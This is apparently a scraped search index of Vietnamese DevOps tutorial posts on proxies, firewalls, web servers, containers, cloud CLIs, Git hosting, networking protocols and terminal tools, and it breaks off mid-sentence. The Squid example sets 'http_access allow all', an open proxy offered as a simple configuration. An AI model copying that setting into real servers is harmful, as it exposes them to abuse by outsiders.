server { listen 80; location / { proxy_pass http://backend_servers; } } Tham khảo thêm:\nLoad Balancing là gì?\nCác thuật toán Load Balancing\nNginx Reverse Proxy \u0026amp; Load Balancing\nVideo: Load Balancer hoạt động như thế nào?\nForward Proxy Forward Proxy là một máy chủ trung gian đứng giữa client và internet, chuyển tiếp yêu cầu từ client đến server đích. Nó giúp ẩn danh, bảo mật, kiểm soát truy cập và caching nội dung.\nĐược sử dụng phổ biến trong các mạng doanh nghiệp để giám sát và kiểm soát truy cập.\nHỗ trợ vượt qua kiểm duyệt và hạn chế địa lý.\nVí dụ cấu hình Forward Proxy với Squid: 1 2 3 4 5 6 7 8 9 10 11 apt update \u0026amp;\u0026amp; apt install squid -y # Chỉnh sửa file cấu hình nano /etc/squid/squid.conf # Thêm cấu hình đơn giản http_access allow all http_port 3128 # Khởi động lại dịch vụ systemctl restart squid Tham khảo thêm:\nForward Proxy là gì?\nSo sánh Forward Proxy và Reverse Proxy\nVideo: Proxy hoạt động như thế nào?\nReverse Proxy Reverse Proxy là một máy chủ trung gian nhận yêu cầu từ client và chuyển tiếp đến máy chủ backend thích hợp. Nó giúp cân bằng tải, caching, bảo mật và SSL termination.\nGiúp che giấu thông tin của máy chủ backend để tăng cường bảo mật.\nHỗ trợ phân phối lưu lượng và tối ưu hiệu suất ứng dụng.\nVí dụ cấu hình Reverse Proxy với Nginx: 1 2 3 4 5 6 7 8 9 10 server { listen 80; server_name example.com; location / { proxy_pass http://backend_server; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } } Tham khảo thêm:\nReverse Proxy là gì?\nHướng dẫn Nginx Reverse Proxy\nVideo: Reverse Proxy và ứng dụng thực tế\nFirewall Firewall là một thiết bị bảo mật mạng giám sát và lọc lưu lượng vào/ra dựa trên chính sách bảo mật của tổ chức.\nNgăn chặn truy cập trái phép vào hệ thống nội bộ.\nHỗ trợ các quy tắc kiểm soát lưu lượng dữ liệu.\nVí dụ cấu hình Firewall với UFW (Uncomplicated Firewall): 1 2 3 4 5 6 7 8 9 10 11 # Cài đặt UFW apt install ufw -y # Mở cổng SSH ufw allow 22/tcp # Chặn tất cả kết nối khác ufw default deny incoming # Kích hoạt UFW ufw enable Tham khảo thêm:\nFirewall là gì?\nCác loại Firewall phổ biến\nVideo: Giới thiệu về Firewall\nNginx Nginx là một máy chủ web mã nguồn mở, được sử dụng rộng rãi nhờ khả năng xử lý nhiều kết nối đồng thời với hiệu suất cao.\nHỗ trợ web server, reverse proxy, load balancing, caching.\nThích hợp cho hệ thống microservices và container.\nVí dụ cấu hình Nginx đơn giản: 1 2 3 4 5 6 server { listen 80; server_name example.com; root /var/www/html; index index.html; } Tham khảo thêm:\nHướng dẫn cài đặt Nginx trên Ubuntu\nVideo: Nginx trong 100 giây\nApache Apache là một trong những máy chủ web phổ biến nhất, hỗ trợ nhiều module mở rộng và tương thích với nhiều hệ điều hành.\nDễ dàng cấu hình với file .conf.\nHỗ trợ SSL/TLS, xác thực người dùng, URL rewriting\u0026hellip;\nVí dụ cấu hình Apache đơn giản: 1 2 3 4 5 6 7 8 \u0026lt;VirtualHost *:80\u0026gt; ServerName example.com DocumentRoot /var/www/html \u0026lt;Directory /var/www/html\u0026gt; AllowOverride All Require all granted \u0026lt;/Directory\u0026gt; \u0026lt;/VirtualHost\u0026gt; Tham khảo thêm:\nTrang chủ Apache\nVideo: Cài đặt Apache trên Ubuntu\nKết luận Load Balancer giúp phân phối lưu lượng hiệu quả, giảm tải cho máy chủ.\nForward Proxy hỗ trợ ẩn danh, caching và kiểm soát truy cập từ client.\nReverse Proxy giúp tăng cường bảo mật, caching và tối ưu hệ thống backend.\nFirewall bảo vệ hệ thống khỏi truy cập trái phép.\nNginx \u0026amp; Apache là hai web server phổ biến, phục vụ nội dung web và ứng dụng.\nBằng cách triển khai các thành phần này, bạn có thể xây dựng một hệ thống mạng mạnh mẽ, bảo mật và hiệu quả.\nBước tiếp theo: Tìm hiểu về Networking Protocols tập hợp các quy tắc và tiêu chuẩn xác định cách các thiết bị trong mạng giao tiếp với nhau. Chúng đảm bảo dữ liệu được truyền tải chính xác, an toàn và hiệu quả giữa các hệ thống khác nhau.\n","date":"23/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-seven.webp","permalink":"/vi/posts/devops/devops-step-seven/","summary":"Bài viết này giúp bạn thiết lập các thành phần mạng quan trọng để quản lý, bảo mật và tối ưu hóa luồng traffic giữa client và server.","tags":["devops","nginx","proxy"],"title":"Application Gateway"},{"categories":["DevOps"],"content":"Containers, Docker và LXC Containers là môi trường nhẹ, di động và cách ly giúp đóng gói ứng dụng cùng với tất cả các phụ thuộc của chúng, đảm bảo triển khai đồng nhất trên nhiều môi trường khác nhau. Công nghệ container giúp đơn giản hóa quá trình triển khai ứng dụng, hỗ trợ mô hình kiến trúc microservices, và tối ưu hóa tài nguyên hệ thống.\nContainers là gì? Containers là một phương pháp ảo hóa ở cấp độ hệ điều hành, cho phép chạy nhiều ứng dụng cô lập trên cùng một kernel. Không giống như máy ảo (VM) yêu cầu hệ điều hành riêng biệt cho mỗi môi trường, container chỉ sử dụng nhân hệ điều hành của máy chủ, giúp giảm chi phí tài nguyên và tăng hiệu suất.\nĐặc điểm chính của Containers Nhẹ: Chia sẻ kernel với hệ điều hành máy chủ, giảm bớt tài nguyên tiêu thụ. Di động: Chạy nhất quán trên nhiều nền tảng từ máy cá nhân đến cloud. Cô lập: Ứng dụng và thư viện được đóng gói riêng biệt. Hiệu suất cao: Không cần khởi động hệ điều hành riêng biệt như máy ảo. Docker - Nền tảng container phổ biến nhất Docker là một nền tảng mã nguồn mở giúp tự động hóa việc triển khai ứng dụng bằng cách sử dụng công nghệ container. Docker giúp đóng gói ứng dụng với toàn bộ thư viện và cấu hình cần thiết để chạy trên nhiều môi trường khác nhau.\nTính năng nổi bật của Docker Docker Engine: Công cụ để tạo và chạy container. Docker Compose: Quản lý nhiều container trong một ứng dụng. Docker Hub: Kho lưu trữ và chia sẻ hình ảnh container. Ví dụ sử dụng Docker: 1 docker run -d -p 80:80 nginx Lệnh trên sẽ chạy một container Nginx trên cổng 80.\nTài nguyên hữu ích:\nTài liệu Docker Docker trong 5 phút LXC - Linux Containers LXC (Linux Containers) là một phương pháp ảo hóa cấp hệ điều hành cho phép chạy nhiều hệ thống Linux cô lập trên cùng một kernel.\nĐặc điểm của LXC: Tạo môi trường gần giống máy ảo nhưng hiệu suất cao hơn. Khởi động nhanh hơn so với VM truyền thống. Sử dụng các công nghệ của Linux như cgroups và namespaces. Ví dụ tạo một container LXC: 1 2 lxc-create -n my-container -t ubuntu lxc-start -n my-container -d Tài nguyên hữu ích:\nTrang chủ LXC Hướng dẫn sử dụng LXC Kết luận Containers giúp triển khai ứng dụng nhanh chóng, hiệu quả và tiết kiệm tài nguyên. Docker là lựa chọn phổ biến cho phát triển ứng dụng, trong khi LXC phù hợp hơn cho mô phỏng hệ điều hành đầy đủ. Hãy chọn công cụ phù hợp với nhu cầu của bạn!\nBước tiếp theo: Tìm hiểu về Application Gateway một dịch vụ quản lý traffic tầng ứng dụng giúp tối ưu hóa, bảo mật và kiểm soát luồng truy cập giữa client và backend. Nó có thể đóng vai trò như một reverse proxy, bảo vệ hệ thống và đảm bảo request được xử lý đúng cách.\n","date":"23/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-six.webp","permalink":"/vi/posts/devops/devops-step-six/","summary":"Containers là môi trường nhẹ, di động và cách ly, giúp đóng gói ứng dụng cùng các phụ thuộc để triển khai đồng nhất, hỗ trợ microservices và tối ưu tài nguyên.","tags":["devops","docker","containers"],"title":"Containers, Docker và LXC "},{"categories":["DevOps"],"content":"Cloud Providers Các nhà cung cấp dịch vụ đám mây cung cấp một lớp API để trừu tượng hóa cơ sở hạ tầng, giúp triển khai tài nguyên dựa trên các tiêu chuẩn bảo mật và mô hình thanh toán. Dù thực tế các dịch vụ đám mây chạy trên các máy chủ trong trung tâm dữ liệu, nhưng nhờ vào các lớp trừu tượng, chúng tạo cảm giác như đang tương tác với một nền tảng duy nhất. Khả năng triển khai, cấu hình và bảo mật tài nguyên nhanh chóng đã giúp cloud trở thành yếu tố quan trọng trong thành công và sự phức tạp của DevOps hiện đại.\nTài nguyên miễn phí để tìm hiểu:\nCloud Service Provider Cloud Providers là gì? Bài viết hay về Cloud AWS (Amazon Web Services) AWS là nền tảng điện toán đám mây hàng đầu từ năm 2011, vượt xa Azure và Google Cloud. AWS cung cấp hơn 200 dịch vụ, hoạt động trên quy mô toàn cầu. AWS mang đến giải pháp tính toán linh hoạt và tiết kiệm chi phí, bao gồm: sức mạnh tính toán, lưu trữ dữ liệu, phân phối nội dung, v.v.\nVí dụ: Tạo một EC2 instance bằng AWS CLI\n1 aws ec2 run-instances --image-id ami-12345678 --count 1 --instance-type t2.micro --key-name MyKeyPair --security-groups MySecurityGroup Tài nguyên miễn phí để tìm hiểu:\n100 giờ khóa học AWS - 2024 Trang chủ AWS Hướng dẫn tạo tài khoản AWS Bài viết hay về AWS Microsoft Azure Azure là nền tảng điện toán đám mây của Microsoft, cung cấp IaaS, PaaS, SaaS cùng nhiều dịch vụ như phân tích, AI, máy học, bảo mật. Azure hỗ trợ nhiều công cụ và ngôn ngữ lập trình, giúp doanh nghiệp phát triển nhanh chóng.\nVí dụ: Triển khai ứng dụng trên Azure App Service\n1 az webapp create --resource-group MyResourceGroup --plan MyAppServicePlan --name MyUniqueApp --runtime \u0026#34;PYTHON:3.8\u0026#34; Tài nguyên miễn phí để tìm hiểu:\nTrang chủ Azure Hướng dẫn về Microsoft Azure Chứng chỉ Azure Fundamentals (AZ-900) Bài viết hay về Azure Google Cloud Platform (GCP) Google Cloud cung cấp hơn 150 dịch vụ, hoạt động trên cùng hạ tầng với các sản phẩm của Google như Search, Gmail, YouTube. Dịch vụ bao gồm: VMs, cơ sở dữ liệu, AI/ML, Kubernetes, v.v.\nVí dụ: Tạo một VM trên Google Cloud\n1 gcloud compute instances create my-instance --machine-type=e2-medium --image-project=debian-cloud --image-family=debian-11 Tài nguyên miễn phí để tìm hiểu:\nTrang chủ Google Cloud 5 mẹo để trở thành Google Cloud Certified Khóa học Google Cloud Platform - 2023 Bài viết hay về Google Cloud DigitalOcean DigitalOcean là nhà cung cấp cơ sở hạ tầng đám mây tập trung vào sự đơn giản, chi phí thấp, dễ sử dụng. DigitalOcean cung cấp dịch vụ như máy ảo (Droplets), cơ sở dữ liệu, Kubernetes, lưu trữ đối tượng, phù hợp với startup và developer.\nVí dụ: Tạo một Droplet trên DigitalOcean bằng API\n1 curl -X POST -H \u0026#34;Content-Type: application/json\u0026#34; -H \u0026#34;Authorization: Bearer YOUR_TOKEN\u0026#34; -d \u0026#39;{\u0026#34;name\u0026#34;:\u0026#34;example-droplet\u0026#34;,\u0026#34;region\u0026#34;:\u0026#34;nyc3\u0026#34;,\u0026#34;size\u0026#34;:\u0026#34;s-1vcpu-1gb\u0026#34;,\u0026#34;image\u0026#34;:\u0026#34;ubuntu-20-04-x64\u0026#34;}\u0026#39; \u0026#34;https://api.digitalocean.com/v2/droplets\u0026#34; Tài nguyên miễn phí để tìm hiểu:\nTrang chủ DigitalOcean Hacktoberfest của DigitalOcean Hướng dẫn Kubernetes trên DigitalOcean Bài viết hay về DigitalOcean Kết Luận Các nhà cung cấp dịch vụ cloud như AWS, Azure, GCP, DigitalOcean cung cấp giải pháp linh hoạt cho mọi nhu cầu máy chủ, lưu trữ, AI, DevOps. Mỗi nền tảng có ưu điểm riêng:\nAWS: Toàn diện, nhiều dịch vụ nhất. Azure: Tích hợp tốt với hệ sinh thái Microsoft. GCP: Tối ưu cho AI, dữ liệu lớn. DigitalOcean: Đơn giản, phù hợp với startup. Việc chọn nền tảng phù hợp phụ thuộc vào mục tiêu, ngân sách, nhu cầu kỹ thuật của bạn.\nBước tiếp theo: Tìm hiểu về Serverless mô hình điện toán đám mây cho phép chạy ứng dụng mà không cần quản lý máy chủ. Các nhà cung cấp cloud tự động phân bổ tài nguyên, mở rộng quy mô và tính phí dựa trên lượng tài nguyên thực tế được sử dụng, giúp tối ưu chi phí và đơn giản hóa triển khai.\n","date":"23/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-nine.webp","permalink":"/vi/posts/devops/devops-step-nine/","summary":"Các nhà cung cấp dịch vụ đám mây cung cấp API trừu tượng hóa cơ sở hạ tầng, giúp triển khai, cấu hình và bảo mật tài nguyên nhanh chóng, tạo cảm giác về một nền tảng thống nhất dù chạy trên nhiều máy chủ, đồng thời đóng vai trò quan trọng trong DevOps hiện đại.","tags":["devops","cloud"],"title":"Dịch vụ Cloud "},{"categories":["DevOps"],"content":"Dịch vụ lưu trữ mã nguồn (Repo Hosting Services) Khi làm việc nhóm, bạn cần một nơi lưu trữ mã nguồn từ xa để mọi người có thể truy cập, tạo nhánh riêng, cũng như tạo hoặc xem xét các pull request. Các dịch vụ này thường bao gồm theo dõi vấn đề (issue tracking), đánh giá mã (code review) và tích hợp liên tục (CI/CD). Một số lựa chọn phổ biến gồm GitHub, GitLab, Bitbucket và AWS CodeCommit.\nTài nguyên miễn phí để tìm hiểu thêm:\nGitHub GitLab BitBucket GitHub vs GitLab vs Bitbucket - Nên chọn cái nào? GitHub GitHub là một nền tảng quản lý mã nguồn dựa trên Git, cung cấp dịch vụ lưu trữ kho mã trên nền tảng đám mây. Nó hỗ trợ các tính năng như theo dõi lỗi, quản lý nhiệm vụ, và wiki dự án. GitHub cho phép đánh giá mã qua pull request, theo dõi vấn đề và hỗ trợ lập trình cộng tác với các tính năng như fork và star.\nGitHub hỗ trợ cả kho mã công khai và riêng tư, giúp nó trở thành lựa chọn phổ biến cho cả dự án mã nguồn mở và phát triển cá nhân. Hệ sinh thái GitHub bao gồm:\nGitHub Actions: Tự động hóa quy trình làm việc. GitHub Packages: Quản lý gói phần mềm. GitHub Pages: Lưu trữ trang web tĩnh miễn phí. Tài nguyên miễn phí để tìm hiểu thêm:\nLộ trình Git \u0026amp; GitHub Trang chủ GitHub Cách sử dụng Git trong nhóm phát triển chuyên nghiệp GitHub là gì? Bài viết hay về GitHub GitLab GitLab là một công cụ DevOps toàn diện, cung cấp quản lý kho mã Git kèm theo wiki, theo dõi vấn đề và các tính năng CI/CD tích hợp sẵn. Đây là một nền tảng DevOps hoàn chỉnh, bao gồm tất cả các giai đoạn từ lập kế hoạch, phát triển, kiểm thử đến triển khai và giám sát.\nGitLab hỗ trợ cả phiên bản đám mây và tự lưu trữ, phù hợp với các tổ chức có yêu cầu bảo mật cao. Một số tính năng nổi bật của GitLab gồm:\nTích hợp CI/CD: Hỗ trợ kiểm thử và triển khai tự động. Container \u0026amp; Package Registry: Quản lý và lưu trữ gói phần mềm. Quét bảo mật mã nguồn: Phát hiện lỗ hổng trong code. Tài nguyên miễn phí để tìm hiểu thêm:\nTrang chủ GitLab Tài liệu chính thức của GitLab GitLab là gì và tại sao nên dùng? Bài viết hay về GitLab Bitbucket Bitbucket là một dịch vụ lưu trữ kho mã nguồn của Atlassian, hỗ trợ cả Git và Mercurial. Nó tích hợp chặt chẽ với các công cụ Atlassian khác như Jira và Trello, giúp quản lý dự án dễ dàng hơn. Bitbucket cung cấp cả phiên bản đám mây và tự lưu trữ.\nMột số tính năng đáng chú ý của Bitbucket:\nCode Review \u0026amp; Pull Requests: Hỗ trợ đánh giá mã. Bitbucket Pipelines: CI/CD tích hợp sẵn. Wiki \u0026amp; Issue Tracking: Quản lý tài liệu và theo dõi vấn đề. Hỗ trợ repo riêng tư miễn phí: Phù hợp với nhóm nhỏ. Tài nguyên miễn phí để tìm hiểu thêm:\nTrang chủ Bitbucket Tổng quan về Bitbucket Giới thiệu về Git và Bitbucket Hướng dẫn sử dụng Bitbucket Cloud Bài viết hay về Bitbucket Kết luận Việc lựa chọn dịch vụ lưu trữ kho mã nguồn phụ thuộc vào nhu cầu của nhóm phát triển. Nếu bạn cần một nền tảng phổ biến với hệ sinh thái rộng lớn, GitHub là một lựa chọn mạnh mẽ. Nếu muốn một giải pháp DevOps tích hợp đầy đủ, GitLab sẽ phù hợp hơn. Còn nếu bạn đã sử dụng hệ sinh thái Atlassian, Bitbucket sẽ là lựa chọn tốt nhất.\nHãy cân nhắc nhu cầu dự án và mức độ tích hợp mong muốn để đưa ra quyết định phù hợp!\nBước tiếp theo: Tìm hiểu về Containers giúp đóng gói ứng dụng cùng với tất cả các thư viện, cấu hình và dependencies để chạy nhất quán trên nhiều môi trường khác nhau.\n","date":"23/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-five.webp","permalink":"/vi/posts/devops/devops-step-five/","summary":"Nền tảng lưu trữ mã nguồn từ xa giúp làm việc nhóm bằng cách quản lý nhánh, pull request, theo dõi vấn đề, đánh giá mã và tích hợp CI/CD.","tags":["devops","git","github"],"title":"Dịch vụ lưu trữ mã nguồn"},{"categories":["DevOps"],"content":"Giao thức mạng (Networking Protocols) Giao thức mạng là tập hợp các quy tắc chuẩn hóa giúp dữ liệu được truyền, nhận và hiểu đúng cách trên các mạng máy tính. Chúng xác định định dạng, thời gian, trình tự và kiểm soát lỗi trong quá trình truyền dữ liệu. Một số giao thức quan trọng bao gồm:\nTCP/IP: Bộ giao thức nền tảng cho giao tiếp trên Internet. HTTP/HTTPS: Giao thức truyền tải siêu văn bản dùng cho web. FTP/SFTP: Giao thức truyền tải tệp tin. SMTP/POP3/IMAP: Giao thức truyền tải email. DNS: Giao thức phân giải tên miền. DHCP: Giao thức cấp phát địa chỉ IP tự động. SSL/TLS: Giao thức bảo mật dữ liệu. UDP: Giao thức truyền tải không kết nối, nhanh chóng. Hệ thống tên miền (DNS) DNS (Domain Name System) là hệ thống phân giải tên miền, giúp chuyển đổi tên miền dễ nhớ (vd: www.example.com) thành địa chỉ IP (192.168.1.1) mà máy tính có thể hiểu được.\nVí dụ cấu hình DNS trong Linux: 1 2 3 4 5 6 7 8 9 # Kiểm tra DNS của một tên miền nslookup example.com dig example.com # Chỉnh sửa file hosts để ánh xạ tên miền sudo nano /etc/hosts # Thêm dòng sau: 192.168.1.100 mycustomdomain.com Tài nguyên tham khảo:\nCách hoạt động của DNS Video giải thích DNS Giao thức HTTP HTTP (Hypertext Transfer Protocol) là giao thức truyền tải dữ liệu trên web theo mô hình yêu cầu - phản hồi.\nVí dụ gửi yêu cầu HTTP bằng cURL: 1 2 3 4 5 6 7 # Gửi yêu cầu GET curl -X GET https://jsonplaceholder.typicode.com/posts/1 # Gửi yêu cầu POST curl -X POST https://jsonplaceholder.typicode.com/posts \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;title\u0026#34;: \u0026#34;Hello\u0026#34;, \u0026#34;body\u0026#34;: \u0026#34;World\u0026#34;}\u0026#39; Tài nguyên tham khảo:\nTìm hiểu về HTTP Video hướng dẫn HTTP HTTPS và bảo mật (SSL/TLS) HTTPS là phiên bản bảo mật của HTTP, sử dụng SSL/TLS để mã hóa dữ liệu, đảm bảo an toàn khi truyền tải trên Internet.\nVí dụ thiết lập HTTPS với Nginx: 1 2 3 4 5 6 server { listen 443 ssl; server_name example.com; ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; } Tài nguyên tham khảo:\nHTTPS là gì? Video HTTPS hoạt động như thế nào SSH - Kết nối bảo mật SSH (Secure Shell) là giao thức giúp kết nối an toàn đến máy chủ từ xa.\nVí dụ sử dụng SSH để kết nối từ xa: 1 2 3 4 5 # Kết nối đến máy chủ từ xa ssh user@example.com # Sao chép tệp tin từ máy chủ về máy cục bộ scp user@example.com:/path/to/file ./localfile Tài nguyên tham khảo:\nHướng dẫn SSH Video cách SSH hoạt động Kết Luận Giao thức mạng là nền tảng của mọi hệ thống trực tuyến, từ duyệt web đến gửi email. Hiểu và biết cách sử dụng chúng giúp cải thiện bảo mật và hiệu suất của hệ thống. Hãy thử áp dụng các lệnh trên để kiểm tra và cấu hình hệ thống của bạn!\nBước tiếp theo: Tìm hiểu về Cloud Providers các công ty cung cấp dịch vụ điện toán đám mây, cho phép cá nhân và doanh nghiệp truy cập tài nguyên như máy chủ, lưu trữ, cơ sở dữ liệu, AI, và các dịch vụ khác qua internet mà không cần đầu tư hạ tầng phần cứng.\n","date":"23/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-eight.webp","permalink":"/vi/posts/devops/devops-step-eight/","summary":"Giao thức mạng là tập hợp quy tắc chuẩn hóa đảm bảo dữ liệu được truyền, nhận và hiểu đúng cách bằng cách xác định định dạng, thời gian, trình tự và kiểm soát lỗi trong quá trình truyền.","tags":["devops","networking"],"title":"Giao thức mạng (Networking Protocols)"},{"categories":["DevOps"],"content":"Hệ thống quản lý phiên bản (Version Control Systems) Version control systems (VCS) là các công cụ giúp theo dõi sự thay đổi của mã nguồn và tệp theo thời gian. Chúng hỗ trợ làm việc nhóm, quản lý lịch sử thay đổi và duy trì nhiều phiên bản của mã nguồn. Có hai loại VCS chính:\nHệ thống tập trung (Centralized VCS - CVCS): Sử dụng một kho lưu trữ trung tâm, ví dụ như Subversion (SVN), CVS. Hệ thống phân tán (Distributed VCS - DVCS): Mỗi người dùng có một bản sao đầy đủ của kho lưu trữ, bao gồm toàn bộ lịch sử. Ví dụ phổ biến nhất là Git. Git là một hệ thống quản lý phiên bản phân tán mạnh mẽ, cho phép làm việc ngoại tuyến, hỗ trợ nhanh chóng các thao tác nhánh (branching) và hợp nhất (merging), giúp tăng cường khả năng cộng tác.\nGit - Công Cụ Quản Lý Phiên Bản Phổ Biến Nhất Cài Đặt Git Nếu chưa cài đặt Git, bạn có thể tải về từ git-scm.com hoặc sử dụng lệnh sau:\n1 2 3 sudo apt install git # Ubuntu/Debian yum install git # CentOS/RHEL brew install git # macOS Xác nhận cài đặt Git:\n1 2 3 4 git --version # output: # git version 2.47.1.windows.1 Các Lệnh Cơ Bản Trong Git Dưới đây là các lệnh Git phổ biến, được sắp xếp từ cơ bản đến nâng cao:\nKhởi Tạo \u0026amp; Cấu Hình 1 git init # Khởi tạo kho lưu trữ Git 1 2 git config --global user.name \u0026#34;Tên Của Bạn\u0026#34; # Cấu hình tên git config --global user.email \u0026#34;email@example.com\u0026#34; # Cấu hình email Làm Việc Với Kho Lưu Trữ 1 git clone \u0026lt;repo_url\u0026gt; # Sao chép một kho lưu trữ từ xa về máy 1 git status # Kiểm tra trạng thái của các tệp Thêm \u0026amp; Lưu Thay Đổi 1 git add \u0026lt;file\u0026gt; # Thêm tệp vào vùng tạm 1 git commit -m \u0026#34;Mô tả thay đổi\u0026#34; # Lưu thay đổi vào lịch sử Làm Việc Với Kho Lưu Trữ Từ Xa 1 git remote add origin \u0026lt;repo_url\u0026gt; # Liên kết kho lưu trữ từ xa 1 git push -u origin main # Đẩy thay đổi lên nhánh chính 1 git pull origin main # Cập nhật thay đổi mới nhất từ kho lưu trữ từ xa Làm Việc Với Nhánh 1 git branch new-feature # Tạo nhánh mới 1 git checkout new-feature # Chuyển sang nhánh mới 1 git merge new-feature # Gộp nhánh vào nhánh hiện tại Theo Dõi Lịch Sử 1 git log # Xem lịch sử commit 1 git diff # So sánh thay đổi giữa các phiên bản Tài Nguyên Học Git Miễn Phí Tài liệu chính thức về Git Git Cheat Sheet Video hướng dẫn Git cho người mới bắt đầu Bài viết: Hệ thống quản lý phiên bản là gì? Kết Luận Sử dụng Git giúp quản lý mã nguồn dễ dàng hơn, hỗ trợ làm việc nhóm hiệu quả và bảo vệ dữ liệu quan trọng của dự án. Việc hiểu và thành thạo Git là kỹ năng cần thiết cho mọi lập trình viên.\nBước tiếp theo: Tìm hiểu về GitHub \u0026amp; GitLab để quản lý kho lưu trữ Git trên nền tảng đám mây.\n","date":"23/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-four.webp","permalink":"/vi/posts/devops/devops-step-four/","summary":"Bài viết cung cấp kiến thức tổng quan về hệ thống quản lý phiên bản (VCS), tập trung vào Git – công cụ phổ biến nhất. Nội dung bao gồm các khái niệm cơ bản, hướng dẫn cài đặt, các lệnh Git quan trọng được sắp xếp từ cơ bản đến nâng cao, cùng với tài nguyên học tập miễn phí, giúp người đọc nắm vững cách quản lý mã nguồn hiệu quả.","tags":["devops","git","github"],"title":"Hệ thống quản lý phiên bản (Version Control Systems) "},{"categories":["DevOps"],"content":"Kiến thức về Terminal Terminal là một giao diện văn bản giúp người dùng tương tác với hệ thống máy tính thông qua CLI (Command Line Interface - Giao diện dòng lệnh). Đây là công cụ quan trọng để quản lý hệ thống, thực thi lệnh, và tự động hóa các tác vụ.\nTài Nguyên Miễn Phí Bài viết: CLI là gì? Tìm kiếm trên Google Tìm kiếm trên YouTube Ví dụ:\n1 2 ls -l # Liệt kê tệp trong thư mục hiện tại pwd # Hiển thị đường dẫn thư mục hiện tại Giám Sát Tiến Trình (Process Monitoring) Giám sát tiến trình là quá trình quan sát và phân tích liên tục các tiến trình trong hệ thống IT để đảm bảo hiệu suất, hiệu quả và tuân thủ quy định. Nó giúp theo dõi các thông số quan trọng như tài nguyên sử dụng, hành vi của từng tiến trình hoặc ứng dụng đang chạy trong hệ thống.\nCông Cụ Được Đề Xuất lsof - Liệt kê thông tin về các tệp được mở bởi tiến trình. Tài Nguyên Miễn Phí Lsof Cheat Sheet Tài liệu lsof Video: Linux Crash Course - Lệnh lsof Bài viết hay về Giám sát Ví dụ:\n1 2 lsof -i :80 # Liệt kê tiến trình sử dụng cổng 80 ps aux # Hiển thị tất cả tiến trình đang chạy Giám Sát Hiệu Suất (Performance Monitoring) Giám sát hiệu suất giúp thu thập, phân tích và báo cáo các chỉ số hiệu suất chính từ ứng dụng, mạng, máy chủ và cơ sở dữ liệu.\nCông Cụ Được Đề Xuất vmstat - Công cụ theo dõi bộ nhớ ảo và hiệu suất hệ thống. Tài Nguyên Miễn Phí Lệnh Linux: Khám phá bộ nhớ ảo với vmstat Tài liệu vmstat Hướng dẫn vmstat Bài viết hay về Giám sát Ví dụ:\n1 vmstat 5 10 # Cập nhật trạng thái hệ thống mỗi 5 giây trong 10 lần Công Cụ Mạng (Networking Tools) Các công cụ mạng hỗ trợ giám sát, phân tích, khắc phục sự cố và quản lý hệ thống mạng.\nCông Cụ Được Đề Xuất Wireshark - Phân tích gói tin sâu. Nmap - Quét mạng và kiểm tra bảo mật. Ping - Kiểm tra kết nối cơ bản. Traceroute - Xác định đường đi của gói tin trong mạng. Netstat - Hiển thị kết nối mạng. Tcpdump - Ghi và phân tích gói tin trên dòng lệnh. Iperf - Kiểm tra hiệu suất mạng. Netcat - Thực hiện nhiều tác vụ mạng khác nhau. Nslookup/Dig - Truy vấn DNS. PuTTY - Kết nối từ xa qua SSH hoặc Telnet. Ví dụ:\n1 2 ping google.com # Kiểm tra kết nối đến Google nmap -sS 192.168.1.1 # Quét cổng máy chủ nội bộ Xử Lý Văn Bản (Text Manipulation) Các công cụ hỗ trợ chỉnh sửa, xử lý và chuyển đổi dữ liệu văn bản.\nCông Cụ Được Đề Xuất sed - Chỉnh sửa luồng dữ liệu. awk - Quét mẫu và trích xuất dữ liệu. grep - Tìm kiếm văn bản bằng biểu thức chính quy. cut, sort, tr, uniq - Các lệnh hỗ trợ xử lý dữ liệu văn bản. Ví dụ:\n1 2 grep \u0026#34;error\u0026#34; logfile.txt # Tìm từ \u0026#34;error\u0026#34; trong logfile.txt awk \u0026#39;{print $1}\u0026#39; data.txt # Lấy cột đầu tiên từ file data.txt Bash Scripts Bash là một shell mạnh mẽ trên Unix/Linux, giúp thực hiện lệnh và tự động hóa tác vụ.\nVí dụ:\n1 2 #!/bin/bash echo \u0026#34;Hello, World!\u0026#34; Trình Soạn Thảo (Editors) Trình soạn thảo văn bản là công cụ quan trọng để chỉnh sửa và quản lý tệp văn bản.\nCông Cụ Được Đề Xuất Vim - Mạnh mẽ, tùy biến cao, phù hợp cho lập trình viên. Emacs - Linh hoạt, có nhiều plugin hỗ trợ. Sublime Text - Tốc độ cao, giao diện thân thiện. Visual Studio Code - Mã nguồn mở, hỗ trợ gỡ lỗi, mở rộng, tích hợp công cụ phát triển. Ví dụ:\n1 2 vim myfile.txt # Mở tệp bằng Vim nano myfile.txt # Mở tệp bằng Nano Kết Luận Hiểu và sử dụng thành thạo các công cụ trên giúp bạn làm việc hiệu quả hơn trong môi trường Linux và DevOps. Các công cụ được đánh dấu là những công cụ phổ biến và mạnh mẽ nhất, được nhiều chuyên gia khuyến nghị. Bạn có thể tìm hiểu sâu hơn thông qua các tài nguyên miễn phí đi kèm. Nếu có điều gì cần làm rõ hoặc bổ sung, hãy phản hồi để mình cập nhật nhé!\nBước tiếp theo: Nâng cao kiến thức về hệ thống quản lý phiên bản (Version Control Systems) để theo dõi, quản lý và cộng tác hiệu quả trên mã nguồn.\n","date":"23/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-three.webp","permalink":"/vi/posts/devops/devops-step-three/","summary":"Bài viết cung cấp kiến thức tổng quan về Terminal, giám sát hệ thống, công cụ mạng, xử lý văn bản và lập trình Bash, giúp người dùng làm việc hiệu quả hơn với Linux và DevOps.","tags":["devops","terminal","bash"],"title":"Kiến thức về Terminal"},{"categories":["DevOps"],"content":"Tại sao Linux quan trọng trong DevOps? Linux là nền tảng của hầu hết các hệ thống server, container (Docker, Kubernetes), và cloud. DevOps cần nắm vững Linux để:\nQuản lý server hiệu quả. Viết script tự động hóa. Xử lý file, user, tiến trình. Tối ưu hệ thống và bảo mật. Hệ điều hành là gì? Hệ điều hành (OS) là phần mềm quản lý tài nguyên phần cứng và phần mềm của máy tính, cung cấp dịch vụ chung cho các chương trình. Nó đóng vai trò trung gian giữa ứng 